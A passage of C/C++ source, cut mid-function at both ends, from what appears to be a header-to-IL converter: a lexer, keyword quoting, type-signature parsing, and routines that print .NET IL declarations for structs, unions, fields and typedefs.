static unsigned digits[256];
static initialize=TRUE;
unsigned __int64 ret = 0;
unsigned digit;
_ASSERTE(radix <= 36);
if(initialize)
{
int i;
memset(digits,255,sizeof(digits));
for(i='0'; i <= '9'; i++) digits[i] = i - '0';
for(i='A'; i <= 'Z'; i++) digits[i] = i + 10 - 'A';
for(i='a'; i <= 'z'; i++) digits[i] = i + 10 - 'a';
initialize = FALSE;
}
for(;;str++) {
digit = digits[*str];
if (digit >= radix) {
*endStr = str;
return(ret);
}
ret = ret * radix + digit;
}
}
/********************************************************************************/
/* fetch the next token, and return it Also set the yylval.union if the
lexical token also has a value */
int yylex() {
char* curPos = parser->curPos;
// Skip any leading whitespace and comments
const unsigned eolComment = 1;
const unsigned multiComment = 2;
const unsigned inlineComment = 4;
unsigned state = 0;
unsigned tally;
SkipWhitespaceAndComments:
tally = 0;
for(;;) { // skip whitespace and comments
if (curPos >= parser->limit)
{
curPos = parser->fillBuff(curPos);
}
switch(*curPos) {
case 0:
if (state & multiComment) return (BAD_COMMENT_);
return 0; // EOF
case '\n':
state &= ~eolComment;
parser->curLine++;
break;
case '\r':
case ' ' :
case '\t':
case '\f':
break;
case '*' :
if(state == 0) goto PAST_WHITESPACE;
if(state & multiComment)
{
if (curPos[1] == '/') {
curPos++;
state &= ~multiComment;
}
}
break;
case '/' :
if(state == 0)
{
if (curPos[1] == '/') {
curPos++;
state |= eolComment;
} else if (curPos[1] == '*') {
curPos++;
state |= multiComment;
}
else goto PAST_WHITESPACE;
}
break;
case '{':
if(state == inlineComment) tally++;
else if(state == 0) goto PAST_WHITESPACE;
break;
case '}':
if(state == inlineComment)
{
tally--;
if(tally == 0) state = 0;
}
else if(state == 0) goto PAST_WHITESPACE;
break;
default:
if (state == 0)
goto PAST_WHITESPACE;
}
curPos++;
}
PAST_WHITESPACE:
char* curTok = curPos;
parser->curTok = curPos;
parser->curPos = curPos;
int tok = ERROR_;
yylval.string = 0;
if(*curPos == '?') // '?' may be part of an identifier, if it's not followed by punctuation
{
char nxt = *(curPos+1);
if(isalnum(nxt) || nxt == '_' || nxt == '<'
|| nxt == '>' || nxt == '$'|| nxt == '@'|| nxt == '?') goto Its_An_Id;
goto Just_A_Character;
}
if (isalpha(*curPos) || *curPos == '#' || *curPos == '_' || *curPos == '@'|| *curPos == '$') { // is it an ID
Its_An_Id:
unsigned offsetDot = 0xFFFFFFFF;
do {
if (curPos >= parser->limit)
{
unsigned offsetInStr = curPos - curTok;
curTok = parser->fillBuff(curTok);
curPos = curTok + offsetInStr;
}
curPos++;
if (*curPos == '.') {
if (offsetDot == 0xFFFFFFFF)
offsetDot = curPos - curTok;
curPos++;
}
} while(isalnum(*curPos) || *curPos == '_' || *curPos == '$'|| *curPos == '@'|| *curPos == '?');
unsigned tokLen = curPos - curTok;
// check to see if it is a keyword
int token = findKeyword(curTok, tokLen, &yylval.instr);
if (token != 0) {
//printf("yylex: TOK = %d, curPos=0x%8.8X\n",token,curPos);
parser->curPos = curPos;
parser->curTok = curTok;
switch(token)
{
case __INLINE_:
case _INLINE_ :
case INLINE_ :
case FORCEINLINE_:
state = inlineComment;
goto SkipWhitespaceAndComments;
default:
return(token);
}
}
if(*curTok == '#')
{
parser->curPos = curPos;
parser->curTok = curTok;
return(ERROR_);
}
// Not a keyword, normal identifiers don't have '.' in them
if (offsetDot < 0xFFFFFFFF) {
curPos = curTok+offsetDot;
tokLen = offsetDot;
}
yylval.string = new char[tokLen+1];
memcpy(yylval.string, curTok, tokLen);
yylval.string[tokLen] = 0;
tok = ID;
//printf("yylex: ID = '%s', curPos=0x%8.8X\n",yylval.string,curPos);
}
else if (isdigit(*curPos)
|| (*curPos == '.' && isdigit(curPos[1]))
|| (*curPos == '-' && isdigit(curPos[1]))) {
// Refill buffer, we may be close to the end, and the number may be only partially inside
if(parser->endPos - curPos < HParse::IN_OVERLAP)
{
curTok = parser->fillBuff(curPos);
curPos = curTok;
}
const char* begNum = curPos;
unsigned radix = 10;
bool neg = (*curPos == '-'); // always make it unsigned
if (neg) curPos++;
if (curPos[0] == '0' && curPos[1] != '.') {
curPos++;
radix = 8;
if (*curPos == 'x' || *curPos == 'X') {
curPos++;
radix = 16;
}
}
begNum = curPos;
{
unsigned __int64 i64 = str2uint64(begNum, const_cast<const char**>(&curPos), radix);
yylval.int64 = new __int64(i64);
tok = INT64;
if (neg) *yylval.int64 = -*yylval.int64;
}
if (radix == 10 && ((*curPos == '.' && curPos[1] != '.') || *curPos == 'E' || *curPos == 'e')) {
yylval.float64 = new double(strtod(begNum, &curPos));
if (neg) *yylval.float64 = -*yylval.float64;
tok = FLOAT64;
}
}
else { // punctuation
if (*curPos == '"' || *curPos == '\'') {
char quote = *curPos++;
char* fromPtr = curPos;
bool escape = false;
BinStr* pBuf = new BinStr();
for(;;) { // Find matching quote
if (curPos >= parser->limit)
{
curTok = parser->fillBuff(curPos);
curPos = curTok;
}
if (*curPos == 0) { parser->curPos = curPos; delete pBuf; return(BAD_LITERAL_); }
if (*curPos == '\r') curPos++; //for end-of-line \r\n
if (*curPos == '\n')
{
parser->curLine++;
if (!escape) { parser->curPos = curPos; delete pBuf; return(BAD_LITERAL_); }
}
if ((*curPos == quote) && (!escape)) break;
escape =(!escape) && (*curPos == '\\');
pBuf->appendInt8(*curPos++);
}
curPos++; // skip closing quote
// translate escaped characters
unsigned tokLen = pBuf->length();
char* toPtr = new char[tokLen+1];
yylval.string = toPtr;
fromPtr = (char *)(pBuf->ptr());
char* endPtr = fromPtr+tokLen;
while(fromPtr < endPtr)
{
if (*fromPtr == '\\')
{
fromPtr++;
switch(*fromPtr)
{
case 't':
*toPtr++ = '\t';
break;
case 'n':
*toPtr++ = '\n';
break;
case 'b':
*toPtr++ = '\b';
break;
case 'f':
*toPtr++ = '\f';
break;
case 'v':
*toPtr++ = '\v';
break;
case '?':
*toPtr++ = '\?';
break;
case 'r':
*toPtr++ = '\r';
break;
case 'a':
*toPtr++ = '\a';
break;
case '\n':
do fromPtr++;
while(isspace(*fromPtr));
--fromPtr; // undo the increment below
break;
case '0':
case '1':
case '2':
case '3':
if (isdigit(fromPtr[1]) && isdigit(fromPtr[2])) {
*toPtr++ = ((fromPtr[0] - '0') * 8 + (fromPtr[1] - '0')) * 8 + (fromPtr[2] - '0');
fromPtr+= 2;
}
else if(*fromPtr == '0') *toPtr++ = 0;
break;
default:
*toPtr++ = *fromPtr;
}
fromPtr++;
}
else
*toPtr++ = *fromPtr++;
}
*toPtr = 0; // terminate string
if(quote == '"')
{
BinStr* pBS = new BinStr();
unsigned size = (unsigned)(toPtr - yylval.string);
memcpy(pBS->getBuff(size),yylval.string,size);
delete yylval.string;
yylval.binstr = pBS;
tok = QSTRING;
}
else tok = SQSTRING;
delete pBuf;
}
else if (strncmp(curPos, "::", 2) == 0) {
curPos += 2;
tok = DCOLON;
}
else if (strncmp(curPos, "...", 3) == 0) {
curPos += 3;
tok = ELIPSES;
}
else if(*curPos == '.') {
do
{
curPos++;
if (curPos >= parser->limit)
{
unsigned offsetInStr = curPos - curTok;
curTok = parser->fillBuff(curTok);
curPos = curTok + offsetInStr;
}
}
while(isalnum(*curPos));
unsigned tokLen = curPos - curTok;
// check to see if it is a keyword
int token = findKeyword(curTok, tokLen, &yylval.instr);
if (token != 0) {
//printf("yylex: TOK = %d, curPos=0x%8.8X\n",token,curPos);
parser->curPos = curPos;
parser->curTok = curTok;
return(token);
}
tok = '.';
curPos = curTok + 1;
}
else
{
Just_A_Character:
tok = *curPos++;
}
//printf("yylex: PUNCT curPos=0x%8.8X\n",curPos);
}
dbprintf((" Line %d token %d (%c) val = %s\n", parser->curLine, tok,
(tok < 128 && isprint(tok)) ? tok : ' ',
(tok > 255 && tok != INT32 && tok != INT64 && tok!= FLOAT64) ? yylval.string : ""));
parser->curPos = curPos;
parser->curTok = curTok;
return(tok);
}
/**************************************************************************/
static char* newString(char* str1) {
char* ret = new char[strlen(str1)+1];
strcpy(ret, str1);
return(ret);
}
/**************************************************************************/
/* concatinate strings and release them */
static char* newStringWDel(char* str1, char* str2, char* str3) {
int len = strlen(str1) + strlen(str2)+1;
if (str3)
len += strlen(str3);
char* ret = new char[len];
strcpy(ret, str1);
delete [] str1;
strcat(ret, str2);
delete [] str2;
if (str3)
{
strcat(ret, str3);
delete [] str3;
}
return(ret);
}
/**************************************************************************/
static void corEmitInt(BinStr* buff, unsigned data) {
unsigned cnt = CorSigCompressData(data, buff->getBuff(5));
buff->remove(5 - cnt);
}
/**************************************************************************/
/* move 'ptr past the exactly one type description */
static unsigned __int8* skipType(unsigned __int8* ptr) {
AGAIN:
mdToken tk;
switch(*ptr++) {
case ELEMENT_TYPE_VOID :
case ELEMENT_TYPE_BOOLEAN :
case ELEMENT_TYPE_CHAR :
case ELEMENT_TYPE_I1 :
case ELEMENT_TYPE_U1 :
case ELEMENT_TYPE_I2 :
case ELEMENT_TYPE_U2 :
case ELEMENT_TYPE_I4 :
case ELEMENT_TYPE_U4 :
case ELEMENT_TYPE_I8 :
case ELEMENT_TYPE_U8 :
case ELEMENT_TYPE_R4 :
case ELEMENT_TYPE_R8 :
case ELEMENT_TYPE_U :
case ELEMENT_TYPE_I :
case ELEMENT_TYPE_R :
case ELEMENT_TYPE_STRING :
case ELEMENT_TYPE_OBJECT :
case ELEMENT_TYPE_TYPEDBYREF :
/* do nothing */
break;
case ELEMENT_TYPE_VALUECLASS :
case ELEMENT_TYPE_CLASS :
ptr += CorSigUncompressToken(ptr, &tk);
break;
case ELEMENT_TYPE_CMOD_REQD :
case ELEMENT_TYPE_CMOD_OPT :
ptr += CorSigUncompressToken(ptr, &tk);
goto AGAIN;
case ELEMENT_TYPE_VALUEARRAY :
ptr = skipType(ptr); // element Type
CorSigUncompressData(ptr); // bound
break;
case ELEMENT_TYPE_ARRAY :
{
ptr = skipType(ptr); // element Type
unsigned rank = CorSigUncompressData(ptr);
if (rank != 0) {
unsigned numSizes = CorSigUncompressData(ptr);
while(numSizes > 0) {
CorSigUncompressData(ptr);
--numSizes;
}
unsigned numLowBounds = CorSigUncompressData(ptr);
while(numLowBounds > 0) {
CorSigUncompressData(ptr);
--numLowBounds;
}
}
}
break;
// Modifiers or depedant types
case ELEMENT_TYPE_PINNED :
case ELEMENT_TYPE_PTR :
case ELEMENT_TYPE_COPYCTOR :
case ELEMENT_TYPE_BYREF :
case ELEMENT_TYPE_SZARRAY :
// tail recursion optimization
// ptr = skipType(ptr);
// break
goto AGAIN;
case ELEMENT_TYPE_VAR:
CorSigUncompressData(ptr); // bound
break;
case ELEMENT_TYPE_FNPTR: {
CorSigUncompressData(ptr); // calling convention
unsigned argCnt = CorSigUncompressData(ptr); // arg count
ptr = skipType(ptr); // return type
while(argCnt > 0) {
ptr = skipType(ptr);
--argCnt;
}
}
break;
default:
case ELEMENT_TYPE_SENTINEL :
case ELEMENT_TYPE_END :
_ASSERTE(!"Unknown Type");
break;
}
return(ptr);
}
/**************************************************************************/
static unsigned corCountArgs(BinStr* args) {
unsigned __int8* ptr = args->ptr();
unsigned __int8* end = &args->ptr()[args->length()];
unsigned ret = 0;
while(ptr < end) {
if (*ptr != ELEMENT_TYPE_SENTINEL) {
ptr = skipType(ptr);
ret++;
}
else
ptr++;
}
return(ret);
}
/**************************************************************************/
static char* keyword[] = {
#define OPDEF(c,s,pop,push,args,type,l,s1,s2,ctrl) s,
#define OPALIAS(alias_c, s, c) s,
#include "opcode.def"
#undef OPALIAS
#undef OPDEF
#define KYWD(name, sym, val) name,
#include "il_kywd.h"
#undef KYWD
};
static bool KywdNotSorted = TRUE;
static char* szDisallowedSymbols = "&+=-*/!~:;{}[]^#()%";
static char Disallowed[256];
/********************************************************************************/
/* looks up the keyword 'name' Returns FALSE on failure */
static bool IsNameToQuote(const char *name)
{
if(KywdNotSorted)
{
memset(Disallowed,0,256);
for(char* p = szDisallowedSymbols; *p; Disallowed[*p]=1,p++);
// Sort the keywords for fast lookup
qsort(keyword, sizeof(keyword) / sizeof(char*), sizeof(char*), keywordCmp);
KywdNotSorted = FALSE;
}
//first, check for forbidden characters
for(char *p = (char *)name; *p; p++) if(Disallowed[*p]) return TRUE;
//second, check for matching keywords (remember: .ctor and .cctor are names AND keywords)
char** low = keyword;
char** high = &keyword[sizeof(keyword) / sizeof(char*)];
char** mid;
if(high > low) // Table is non-empty
{
for(;;) {
mid = &low[(high - low) / 2];
int cmp = strcmp(name, *mid);
if (cmp == 0)
return ((strcmp(name,COR_CTOR_METHOD_NAME)!=0) && (strcmp(name,COR_CCTOR_METHOD_NAME)!=0));
if (mid == low) break;
if (cmp > 0) low = mid;
else high = mid;
}
if(*name != '.')
{
low = keyword;
high = &keyword[sizeof(keyword) / sizeof(char*)];
char dotname[1024];
sprintf(dotname,".%s",name);
for(;;) {
mid = &low[(high - low) / 2];
int cmp = strcmp(dotname, *mid);
if (cmp == 0)
return true;
if (mid == low) break;
if (cmp > 0) low = mid;
else high = mid;
}
}
}
//third, check if the name starts or ends with dot (.ctor and .cctor are out of the way)
return (*name == '.' || name[strlen(name)-1] == '.');
}
static char * MakeId(char* szName)
{
if(IsNameToQuote(szName))
{
char* sz = new char[strlen(szName)+3];
sprintf(sz,"'%s'",szName);
delete szName;
szName = sz;
}
return szName;
}
static char* ReduceId(char* szName)
{
if(g_fReduceNames)
{
char* pc;
for(pc = szName; *pc && *pc=='_'; pc++);
memcpy(szName,pc,strlen(pc)+1);
if(strstr(pc,"tag")==pc) memcpy(pc,pc+3,strlen(pc)-2);
}
return szName;
}
/********************************************************************************/
HParse::HParse(ReadStream* aIn, char* szDefName, char* szGlobalNS, bool bShowTypedefs)
{
#ifdef DEBUG_PARSING
extern int yydebug;
yydebug = 1;
#endif
in = aIn;
char* buffBase = new char[IN_READ_SIZE+IN_OVERLAP+1]; // +1 for null termination
_ASSERTE(buffBase);
curTok = curPos = endPos = limit = buff = &buffBase[IN_OVERLAP]; // Offset it
curLine = 1;
m_pCurrILType = new ILType;
memset(m_pCurrILType,0, sizeof(ILType));
strcpy(m_szIndent," ");
strcpy(m_szGlobalNS,szGlobalNS);
m_szCurrentNS[0] = 0;
m_uCurrentPack = 4;
m_uPackStackIx = 0;
m_uFieldIxIx = 0;
m_uCurrentFieldIx = 0;
m_bShowTypedefs = bShowTypedefs;
{
FILE* pF;
ULONG tally=1;
AppDescr* pAD;
if(pF = fopen(szDefName,"rt"))
{
char sz[1024],*pApp,*pClass,*pDLL,*pEnd;
while(fgets(sz,1024,pF))
{
pApp = &sz[0];
while(*pApp == ' ') pApp++;
if(pClass = strchr(pApp,','))
{
*pClass = 0;
pEnd = pClass-1;
while(*pEnd == ' ') { *pEnd = 0; pEnd--; }
pClass++;
while(*pClass == ' ') pClass++;
if(pDLL = strchr(pClass,','))
{
*pDLL = 0;
pEnd = pDLL-1;
while(*pEnd == ' ') { *pEnd = 0; pEnd--; }
pDLL++;
while(*pDLL == ' ') pDLL++;
while(pEnd = strchr(pClass,'/')) *pEnd = '.';
if(pEnd = strchr(pDLL,'\r')) *pEnd = 0;
if(pEnd = strchr(pDLL,'\n')) *pEnd = 0;
pEnd = pDLL + strlen(pDLL) - 1;
while(*pEnd == ' ') { *pEnd = 0; pEnd--; }
pAD = new AppDescr;
memset(pAD,0,sizeof(AppDescr));
strcpy(pAD->szApp,pApp);
strcpy(pAD->szDLL,pDLL);
pAD->pClass = FindCreateClass(pClass);
AppQ.PUSH(pAD);
}
else goto ReportErrorAndExit;
}
else
{
ReportErrorAndExit:
error("Invalid format in definition file, line %d\n",tally);
delete this;
return;
}
tally++;
}
fclose(pF);
}
else
{
error("Unable to open definition file '%s'\n",szDefName);
delete this;
return;
}
}
m_uAnonNumber = 1;
m_uInClass = 0;
m_nBitFieldCount = 0;
//m_pVDescr = NULL;
m_pVDescr = new VarDescrQueue;
success = true;
_ASSERTE(parser == 0); // Should only be one parser instance at a time
// Sort the keywords for fast lookup
qsort(keywords, sizeof(keywords) / sizeof(Keywords), sizeof(Keywords), keywordCmp);
parser = this;
printf(".assembly Microsoft.Win32\n{\n .hash algorithm 0x00008004\n .ver 0:0:0:0\n}\n");
if(strlen(m_szGlobalNS))
{
printf(".namespace %s\n{\n",m_szGlobalNS);
strcpy(m_szIndent," ");
}
strcpy(m_szCurrentNS,m_szGlobalNS);
yyparse();
{
ClassDescr *pCD;
m_szCurrentNS[0] = 0;
char szClName[1024];
while(pCD = ClassQ.POP())
{
if(pCD->bsBody.length())
{
pCD->bsBody.appendInt8(0);
if(strcmp(pCD->szNamespace,m_szCurrentNS))
{
if(strlen(m_szCurrentNS))
{
m_szIndent[strlen(m_szIndent)-2] = 0;
printf("%s} // end of namespace %s\n",m_szIndent,m_szCurrentNS);
}
if(strlen(pCD->szNamespace))
{
printf("%s.namespace %s\n%s{\n",m_szIndent,pCD->szNamespace,m_szIndent);
strcat(m_szIndent," ");
}
strcpy(m_szCurrentNS,pCD->szNamespace);
}
if(strlen(pCD->szName))
{
sprintf(szClName,IsNameToQuote(pCD->szName) ? "'%s'" : "%s",pCD->szName);
printf("%s.class public auto autochar %s extends System.Object\n%s{\n",m_szIndent,szClName,m_szIndent);
printf("%s .custom System.Security.SuppressUnmanagedCodeSecurityAttribute\n",m_szIndent);
printf("%s .comtype public %s%s%s%s%s { }\n", m_szIndent,
m_szGlobalNS,
(*m_szGlobalNS ? "." : ""),
m_szCurrentNS,
(*m_szCurrentNS ? "." : ""),
szClName);
}
printf((char*)(pCD->bsBody.ptr()));
if(strlen(pCD->szName)) printf("%s} // end of class %s\n",m_szIndent,pCD->szName);
}
delete pCD;
}
if(strlen(m_szCurrentNS))
{
m_szIndent[strlen(m_szIndent)-2] = 0;
printf("%s} // end of namespace %s\n",m_szIndent,m_szCurrentNS);
}
}
if(strlen(m_szGlobalNS)) printf("} // end of namespace %s\n",m_szGlobalNS);
}
/********************************************************************************/
HParse::~HParse()
{
parser = 0;
delete [] &buff[-IN_OVERLAP];
if(m_pCurrILType) delete m_pCurrILType;
}
/**************************************************************************/
char* HParse::fillBuff(char* pos)
{
int iRead;
//printf("fillBuff(0x%8.8X)\n",pos);
_ASSERTE((buff-IN_OVERLAP) <= pos && pos <= &buff[IN_READ_SIZE]);
curPos = pos;
unsigned tail = endPos - curPos; // endPos points just past the end of valid data in the buffer
_ASSERTE(tail <= IN_OVERLAP);
if(tail) memcpy(buff-tail, curPos, tail); // Copy any stuff to the begining
curPos = buff-tail;
iRead = in->read(buff, IN_READ_SIZE);
endPos = buff + iRead;
*endPos = 0; // null Terminate the buffer
//printf("@0x%8.8X: %d tail + %d read [0x%8.8X - 0x%8.8X] ", pos,tail, iRead, curPos, endPos);
// limit points at the tail of the last whitespace to non-whitespace transition
// (limit actually points first non-whitespace character).
limit = endPos; // endPos points just past the end of valid data in the buffer
if (endPos == &buff[IN_READ_SIZE]) {
/*
char* searchLimit = &endPos[-IN_OVERLAP];
if (searchLimit < curPos)
searchLimit = curPos;
while (limit > searchLimit && !isspace(*limit)) limit--;
// now, limit points at the last space in buffer
*/
limit-=4; // max look-ahead without reloading - 3 (checking for "...")
}
//printf(" limit 0x%8.8X (0x%2.2X)\n",limit, *limit);
return(curPos);
}
/********************************************************************************/
void HParse::EmitTypes(BinStr* pbsTypeNames, BOOL isTypeDef) // uses m_pCurrILType
{
Typedef *pTD, *ptmp;
pbsTypeNames->appendInt8(0);
char* sztdn = (char*)(pbsTypeNames->ptr()), *szdims, *sztdnext;
do
{
sztdnext = strchr(sztdn,'#'); // Type names in pbsTypeNames are #-delimited
if(sztdnext) *sztdnext = 0;
pTD = new Typedef;
szdims = NULL;
if(*sztdn == '^') // it's function pointer type: ^callConv^typeName(signature)
{
char *cconv,*tname,*sig;
cconv = sztdn+1;
tname = strchr(cconv,'^');
*tname = 0; tname++;
sig = strchr(tname,'(');
*sig = 0; sig++;
/*
sprintf(pTD->szDefinition,"method %s * (%s",
m_pCurrILType->szString,sig);
strcpy(pTD->szMarshal,"*");
*/
sztdn = tname;
strcpy(pTD->szDefinition,"class System.Delegate");
pTD->szMarshal[0]=0;
pTD->iSize = 4;
}
else
{
strcpy(pTD->szDefinition,m_pCurrILType->szString);
strcpy(pTD->szMarshal,m_pCurrILType->szMarshal);
pTD->iSize = m_pCurrILType->iSize;
if(strcmp(m_pCurrILType->szString,"class System.String") &&
strcmp(m_pCurrILType->szString,"class System.StringBuilder"))
{
while(*sztdn == '*')
{
if(strstr(pTD->szDefinition,"value class"))
{
strcat(pTD->szDefinition,"&");
strcpy(pTD->szMarshal,"");
}
else
{
strcat(pTD->szMarshal,"*");
strcpy(pTD->szDefinition,"int32");
}
pTD->iSize = 4;
sztdn++;
}
if(szdims = strchr(sztdn,'['))
{
if(strstr(szdims,"[]") == NULL) strcpy(pTD->szMarshal,"fixed array");
strcat(pTD->szMarshal,szdims);
strcat(pTD->szDefinition,"[]");
*szdims = 0;
}
}
else
{
if(*sztdn == '*')
{
if(!strcmp(pTD->szMarshal,"char"))
strcpy(pTD->szMarshal,"lpstr");
else
if(!strcmp(pTD->szMarshal,"wchar"))
strcpy(pTD->szMarshal,"lpwstr");
else
{
strcat(pTD->szDefinition,"&");
strcat(pTD->szMarshal, "*");
}
sztdn++;
while(*sztdn == '*')
{
strcat(pTD->szMarshal,"*");
sztdn++;
strcat(pTD->szDefinition,"&");
}
pTD->iSize = 4;
if(szdims = strchr(sztdn,'['))
{
strcat(pTD->szMarshal,szdims);
strcat(pTD->szDefinition,"[]");
*szdims = 0;
}
}
else
{
if(szdims = strchr(sztdn,'['))
{
strcpy(pTD->szMarshal,"fixed sysstring");
strcat(pTD->szMarshal,strstr(szdims,"[]") ? "[0]" : szdims);
*szdims = 0;
}
else strcpy(pTD->szMarshal,m_pCurrILType->szMarshal);
}
}
}
strcpy(pTD->szName,sztdn);
if(isTypeDef)
{
for(int i = 0; ptmp = m_Typedef.PEEK(i); i++)
{
if(!strcmp(ptmp->szName,pTD->szName))
{
if(strcmp(ptmp->szDefinition,pTD->szDefinition))
error("Conflicting typedef '%s'\n",pTD->szName);
else
warn("Duplicate typedef '%s'\n",pTD->szName);
break;
}
}
if(m_bShowTypedefs) printf("// typedef %s %s (marshal %s)\n", pTD->szDefinition, pTD->szName, pTD->szMarshal);
if(ptmp) delete pTD;
else m_Typedef.PUSH(pTD);
}
else
{
if(m_uInClass)
{
char* pc;
if(!strcmp(pTD->szMarshal,"char"))
{
// it's pure "char" w/o * or [...]
strcpy(pTD->szDefinition,"unsigned int8");
strcpy(pTD->szMarshal,"int8");
}
else if(!strcmp(pTD->szMarshal,"wchar"))
{
strcpy(pTD->szMarshal,"unsigned int16");
strcpy(pTD->szDefinition,"int16");
}
// can't have byrefs in fields:
//if(pTD->szMarshal[0]==0)
{
unsigned k = strlen(pTD->szDefinition)-1;
unsigned n=0;
if(strstr(pTD->szDefinition,"class ")
&& (pTD->szDefinition[k] == '&'))
{
for(n=0; (k > 0) &&(pTD->szDefinition[k] == '&'); k--) n++;
strcpy(pTD->szDefinition,"int32");
pTD->iSize = 4;
if(pTD->szMarshal[0]==0) strcpy(pTD->szMarshal,"struct");
if((strstr(pTD->szMarshal,"lpstr") == NULL)
&&(strstr(pTD->szMarshal,"lpwstr") == NULL))
{ // don't add * for lpstr and lpwstr: they are already there
for(k = strlen(pTD->szMarshal); n > 0; n--, k++) pTD->szMarshal[k] = '*';
}
pTD->szMarshal[k] = 0;
}
}
if(pc = szdims) // compute array size
{
szdims++;
szdims[strlen(szdims)-1]=0; // kill trailing ']'
while(pc)
{
szdims = pc+1;
if(pc = strchr(szdims,',')) *pc = 0;
pTD->iSize *= atoi(szdims);
}
// emit dummy value class
printf("%s.class value nested public explicit sealed ANON%d extends System.ValueType { .pack 1 .size %d }\n",
m_szIndent,m_uAnonNumber,pTD->iSize);
sprintf(pTD->szDefinition,"value class %s/ANON%d",m_szCurrentNS,m_uAnonNumber++);
pTD->szMarshal[0] = 0;
}
if(pc = strchr(pTD->szName,':'))
{
m_nBitFieldCount += atoi(pc+1);
pTD->iSize = 0;
}
else if(m_nBitFieldCount)
{
char szType[64];
m_nBitFieldCount += 7;
m_nBitFieldCount >>= 3; // bits->bytes
switch(m_nBitFieldCount)
{
case 1: sprintf(szType,"unsigned int8"); break;
case 2: sprintf(szType,"int16"); break;
case 4: sprintf(szType,"int32"); break;
case 8: sprintf(szType,"int64"); break;
default: sprintf(szType,"unsigned int8[%d]",m_nBitFieldCount); break;
}
printf("%s.field %spublic %s ANON%d //size: %d\n",
m_szIndent,
(m_pCurrILType->bExplicit ? "[0] " : ""),szType,m_uAnonNumber++,m_nBitFieldCount);
m_uCurrentFieldIx += m_nBitFieldCount;
m_nBitFieldCount = 0;
}
char szMarshal[128];
szMarshal[0] = 0;
if(pTD->szMarshal[0]) sprintf(szMarshal,"marshal(%s) ",pTD->szMarshal);
printf("%s%s.field %spublic %s%s %s //size: %d\n",
m_szIndent, (pc ? "// " : ""),
(m_pCurrILType->bExplicit ? "[0] " : ""),
szMarshal,pTD->szDefinition,pTD->szName,pTD->iSize);
if(m_pCurrILType->bExplicit)
m_uCurrentFieldIx = m_uCurrentFieldIx < (unsigned)(pTD->iSize) ? pTD->iSize : m_uCurrentFieldIx;
else m_uCurrentFieldIx+=pTD->iSize;
}
delete pTD;
}
sztdn = sztdnext+1;
} while(sztdnext);
}
/********************************************************************************/
BinStr* HParse::FuncPtrDecl(BinStr* pbsType, BinStr* pbsCallNameSig)
{
BinStr* ret = new BinStr();
char buff[2048];
/*
char *cconv,*tname,*sig,*sztdn;
pbsCallNameSig->appendInt8(0);
sztdn = (char*)(pbsCallNameSig->ptr());
cconv = sztdn+1;
tname = strchr(cconv,'^');
*tname = 0; tname++;
sig = strchr(tname,'(');
*sig = 0; sig++;
sprintf(buff,"method %s%s %s * (%s %s",(*cconv ? "unmanaged " : ""), cconv,m_pCurrILType->szString,sig,tname);
*/
strcpy(buff,"class System.Delegate");
strcpy(m_pCurrILType->szString,buff);
m_pCurrILType->szMarshal[0] = 0;
m_pCurrILType->iSize = 4;
ret->appendStr(buff);
return ret;
}
/********************************************************************************/
void HParse::ResolveTypeRef(char* szTypeName) // sets m_pCurrILType when typedef'ed type is used
{
Typedef *ptmp;
for(int i = 0; ptmp = m_Typedef.PEEK(i); i++)
{
if(!strcmp(ptmp->szName,szTypeName))
{
strcpy(m_pCurrILType->szString,ptmp->szDefinition);
strcpy(m_pCurrILType->szMarshal,ptmp->szMarshal);
m_pCurrILType->iSize = ptmp->iSize;
return;
}
}
error("Unresolved type reference '%s'\n",szTypeName);
}
/********************************************************************************/
int HParse::ResolveVar(char* szName)
{
VarDescr* pvd;
if(m_pVDescr)
{
for(int j=0; pvd = m_pVDescr->PEEK(j); j++)
{
if(!strcmp(szName,pvd->szName)) return pvd->iValue;
}
}
error("Undefined constant '%s'\n",szName);
return 0;
}
/********************************************************************************/
void HParse::AddVar(char* szName, int iVal)
{
if(m_pVDescr)
{
VarDescr* pvd = new VarDescr;
strcpy(pvd->szName,szName);
pvd->iValue = iVal;
m_pVDescr->PUSH(pvd);
}
}
/********************************************************************************/
void HParse::StartStruct(char* szName)
{
ILType *pILT = new ILType;
char szN[512];
if(szName) strcpy(szN,ReduceId(szName));
else sprintf(szN,"ANON%d",m_uAnonNumber++);
strcpy(pILT->szString,"value class ");
if(strlen(m_szCurrentNS))
{
strcat(pILT->szString,m_szCurrentNS);
strcat(pILT->szString,m_uInClass ? "/" : ".");
}
strcat(pILT->szString,szN);
strcpy(m_szCurrentNS,&pILT->szString[12]); // [12] to skip "value class"
pILT->bExplicit = m_pCurrILType->bExplicit;
strcpy(pILT->szMarshal,"struct");
memcpy(m_pCurrILType,pILT,sizeof(ILType));
m_pCurrILType->bExplicit = FALSE;
m_ILTypeStack.PUSH(pILT);
printf("%s.class value %spublic sequential autochar sealed %s extends System.ValueType\n%s{\n",
m_szIndent,(m_uInClass ? "nested " : ""),szN,m_szIndent);
strcat(m_szIndent," ");
printf("%s.custom System.Security.SuppressUnmanagedCodeSecurityAttribute\n",m_szIndent);
printf("%s.pack 1\n%s.size 0\n",m_szIndent,m_szIndent);
if(!m_uInClass) printf("%s.comtype public %s { }\n",m_szIndent,&pILT->szString[12]);
PushFieldIx();
m_uCurrentFieldIx = 0;
m_uInClass++;
}
/********************************************************************************/
void HParse::StartUnion(char* szName)
{
ILType *pILT = new ILType;
char szN[512];
if(szName) strcpy(szN,ReduceId(szName));
else sprintf(szN,"ANON%d",m_uAnonNumber++);
strcpy(pILT->szString,"value class ");
if(strlen(m_szCurrentNS))
{
strcat(pILT->szString,m_szCurrentNS);
strcat(pILT->szString,m_uInClass ? "/" : ".");
}
strcat(pILT->szString,szN);
strcpy(m_szCurrentNS,&pILT->szString[12]); // [12] to skip "value class"
pILT->bExplicit = m_pCurrILType->bExplicit;
strcpy(pILT->szMarshal,"struct");
memcpy(m_pCurrILType,pILT,sizeof(ILType));
m_pCurrILType->bExplicit = TRUE;
m_ILTypeStack.PUSH(pILT);
printf("%s.class value %spublic explicit autochar sealed %s extends System.ValueType\n%s{\n",
m_szIndent,(m_uInClass ? "nested " : ""),szN,m_szIndent);
strcat(m_szIndent," ");
printf("%s.custom System.Security.SuppressUnmanagedCodeSecurityAttribute\n",m_szIndent);
// printf("%s.pack %d\n",m_szIndent,m_uCurrentPack);
printf("%s.pack 1\n%s.size 0\n",m_szIndent,m_szIndent);
if(!m_uInClass) printf("%s.comtype public %s { }\n",m_szIndent,&pILT->szString[12]);
PushFieldIx();
m_uCurrentFieldIx = 0;
m_uInClass++;
}
/********************************************************************************/
void HParse::StartEnum(char* szName)
{
ILType *pILT = new ILType;
char szN[512];
if(szName) strcpy(szN,ReduceId(szName));
